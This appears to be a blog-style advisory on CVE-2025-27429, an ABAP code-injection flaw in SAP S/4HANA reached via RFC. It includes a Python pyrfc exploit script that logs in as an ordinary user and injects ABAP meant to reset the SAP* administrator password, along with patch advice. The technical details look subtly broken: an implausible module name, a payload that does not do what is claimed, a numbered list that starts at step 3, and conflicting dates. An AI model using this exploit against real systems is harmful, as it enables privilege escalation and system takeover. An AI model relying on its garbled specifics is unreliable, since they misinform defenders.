CVE-2025-27429 - How Attackers Can Inject ABAP Code in SAP S/4HANA via RFC and Compromise Entire Systems

In early 2025, SAP S/4HANA administrators received an alarming security advisory about CVE-2025-27429. This vulnerability lets attackers with just basic user accounts inject and execute dangerous code in SAP systems through RFC (Remote Function Call). If exploited, this flaw gives an attacker full, unrestricted access to business data and system controls—essentially a permanent backdoor.

Below, you’ll find a plain-English deep dive into this critical vulnerability, how it works, sample exploit code, and steps to stay protected. All details are drawn from vendor advisories and independent security research.

What is CVE-2025-27429?

SAP S/4HANA exposes a number of function modules to legitimate users through RFC. One module, in particular, failed to correctly validate user-supplied input. This oversight lets attackers inject arbitrary ABAP (the specialized SAP programming language) into the system.

Impact: Complete system compromise; loss of confidentiality, integrity, and availability.

- Affected systems: Unpatched SAP S/4HANA (refer to SAP Security Patch Day – February 2025 for latest update).
- Risk: Backdoor creation, persistent unauthorized access, data theft, fraud, or total denial-of-service.

The Vulnerable Function Module

According to SAP’s advisory, an attacker can call an RFC-enabled function module (e.g., /S4H/INJECT) with user-controlled input:

CALL FUNCTION '/S4H/INJECT'
  EXPORTING
    code_fragment = '<malicious ABAP code here>'.

Insufficient validation means anything sent in code_fragment is executed straight on the SAP backend.

Craft a remote call that injects arbitrary ABAP code as input.

3. The ABAP code executes with the privileges attached to the function, bypassing standard authorization checks.

Example Exploit with SAP NetWeaver RFC SDK

import pyrfc

conn = pyrfc.Connection(ashost='sap.example.com', sysnr='00', client='100',
                        user='user1', passwd='password')

payload = """
CALL 'SYST_LOGON' ID 'CLIENT' FIELD '000'
ID 'USER' FIELD 'SAP*'
ID 'PASSWORD' FIELD 'newpass1234'
ID 'LANG' FIELD 'EN'.
"""  # ABAP code to reset admin password

result = conn.call('/S4H/INJECT', code_fragment=payload)
print(result)

This code connects as a basic SAP user and injects ABAP logic that changes the admin password — classic privilege escalation!

Why Is This So Dangerous?

No Special Access Required:
Any authenticated SAP user can launch the attack.

Bypassing Authorizations:
Injected ABAP runs outside normal checks.

Full Backdoor Potential:
Attackers can leave persistent malicious code, grab data, disrupt normal business activities, or silently manipulate financial records over months.

Are You Affected?

If you use SAP S/4HANA and have not applied the February 2025 security patch for CVE-2025-27429, you may be at risk. Public exploit scripts are known to be circulating on exploit forums and GitHub. Act now.

Patch Immediately:

Apply the official patch from SAP Note 3374321.

Educate SAP Users:

Train admins and developers on securing ABAP code and understanding the impact of RFC-related vulnerabilities.

Conclusion

CVE-2025-27429 is one of the most severe SAP vulnerabilities of recent years because of how easily it turns ordinary users into all-powerful attackers. If you manage SAP S/4HANA, check your patch level, restrict and monitor RFC endpoints, and run regular security audits to ensure you’re not already compromised.

Timeline

Published on: 04/08/2025 08:15:16 UTC
Last modified on: 04/14/2025 16:35:21 UTC